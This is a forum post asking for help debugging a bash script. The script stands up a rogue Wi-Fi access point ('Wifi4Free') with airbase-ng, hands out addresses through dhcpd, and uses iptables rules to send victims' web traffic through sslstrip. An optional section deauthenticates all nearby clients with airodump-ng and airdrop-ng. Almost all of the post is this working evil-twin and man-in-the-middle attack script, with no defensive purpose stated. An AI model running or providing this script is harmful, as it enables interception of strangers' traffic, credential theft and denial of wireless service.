Munch Posted January 25, 2012 Share Posted January 25, 2012 hi been playing with this bash script for a couple of days now trying difrent combo's, basicly if possible can someone point out where im going wrong in this script ive put together, i get the fake ap up and running, dhcpd assigns clients with ip's and clients can connect but what i notice is that a lease dont get written for the client and allso the connection for the client is lagged to fook so basicly they cant surf, secondly im not sure if all the iptables rules are needed. #!/bin/bash IFACES=`ifconfig | grep ' $' | cut -d " " -f1` echo "[*]Wait 1 Sec While We Write The dhcpd.conf file..." #dhcp config rm /etc/dhcp3/dhcpd.conf #network conf echo "ddns-update-style none; ignore client-updates; default-lease-time 86400; max-lease-time 172800; authoritative; subnet 192.168.1.0 netmask 255.255.255.0 { option subnet-mask 255.255.255.0; option broadcast-address 192.168.1.255; option routers 192.168.1.1; option domain-name-servers 8.8.8.8; #google's range 192.168.1.101 192.168.1.200; } " >> /etc/dhcp3/dhcpd.conf #end dhcp conf sleep 2 echo "[*]Name Of Session (folder where log files are to be created):" read SESSION mkdir /root/$SESSION/ sleep 2 #for my awus036h echo "[*]Turn On Wlan1 And Set Txpower? yes/no:" read WLAN1 if [ $WLAN1 = "yes" ] ; then ifconfig wlan1 up sleep 2 iw reg set BO iwconfig wlan1 txpower 30 echo "[*]Checking Txpower On wlan1..." sleep 2 iwconfig wlan1 echo "[*]Set ,Lets Move On..." fi if [ $WLAN1 = "no" ] ; then echo "[*]Lets Move On Then.." fi #awus036h end sleep 2 echo "[*]Name Of Internet Connection? : "$IFACES":" read INT sleep 2 echo "[*]Name Of Wlan ? : "$IFACES":" read IFACE sleep 2 ifconfig $IFACE mtu 1500 #i only set this cos my eth0 MTU is 1500 but wlan1 MTU is 1800 sleep 2 echo "[*]Throwing $IFACE Into Monitor Mode..." airmon-ng start $IFACE sleep 2 echo "[*]Monitor Mode Enabled On ? :" read MON sleep 2 echo "[*]Name Of Our Fake AP ? ie:Wifi4Free:" read FAPN sleep 2 echo "[*]Channel For Our Fake AP:" read CHAN sleep 2 echo "Starting Up $FAPN On Channel $CHAN ..." sleep 5 xterm -fg LightGoldenrod1 -bg NavyBlue -geometry 100x24+0+0 -T airbase-ng -e airbase-ng -e $FAPN -c $CHAN -v $IFACE & sleep 5 ifconfig at0 192.168.1.1 netmask 255.255.255.0 up route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 sleep 3 iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A POSTROUTING -o $INT -j MASQUERADE iptables -A FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 #for sslstrip echo 1 > /proc/sys/net/ipv4/ip_forward #for sslstrip echo > '/var/lib/dhcp3/dhcpd.leases' ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid sleep 5 xterm -fg LightGoldenrod1 -bg NavyBlue -geometry 100x24+100+0 -T dhcpd3 -e dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 & sleep 3 #AP config end #this section is optional but would like to have it working aswell, can u see anything wrong here ? ifconfig at0 echo "[*]Enter Mac Address Of Fake AP:" read APMAC sleep 2 #would be nice if this part worked allso echo "[*]Run Airodump-ng with Airdrop-ng To Deauth Everyone (DANGER) yes/no?:" read AIR if [ $AIR = "yes" ] ; then rm /pentest/wireless/aircrack-ng/scripts/airdrop-ng/rules.txt sleep 2 xterm -fg LightGoldenrod1 -bg NavyBlue -geometry 100x24+100+0 -T airodump-ng -e airodump-ng $MON -w dump --output-format csv & sleep 2 echo "[*]Just writing Rules for Airdrop-ng..." echo "#Allow Rules; a/$APMAC|any; #Deny Rules; d/$APMAC|apple; " >> /pentest/wireless/aircrack-ng/scripts/airdrop-ng/rules.txt echo "[*]Rules Set" echo "[*]Firing Up Airdrop-ng..." sleep 5 xterm -fg LightGoldenrod1 -bg NavyBlue -geometry 100x24+100+0 -T airdrop-ng -e airdrop-ng -i $MON -t /root/dump*.csv -r /pentest/wireless/aircrack-ng/scripts/airdrop-ng/rules.txt -b -p & sleep 2 fi if [ $AIR = "no" ] ; then echo "[*]Moving On..." sleep 2 fi #this is only my 3rd script in bash ,it all runs but not %100 ? why ? ##mitm options taken out until issues solved with dhcpd scripts open to all comments , thanx for any help that might be given to solve this scripts issues, cheers. P.s sorry if post is abit long. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.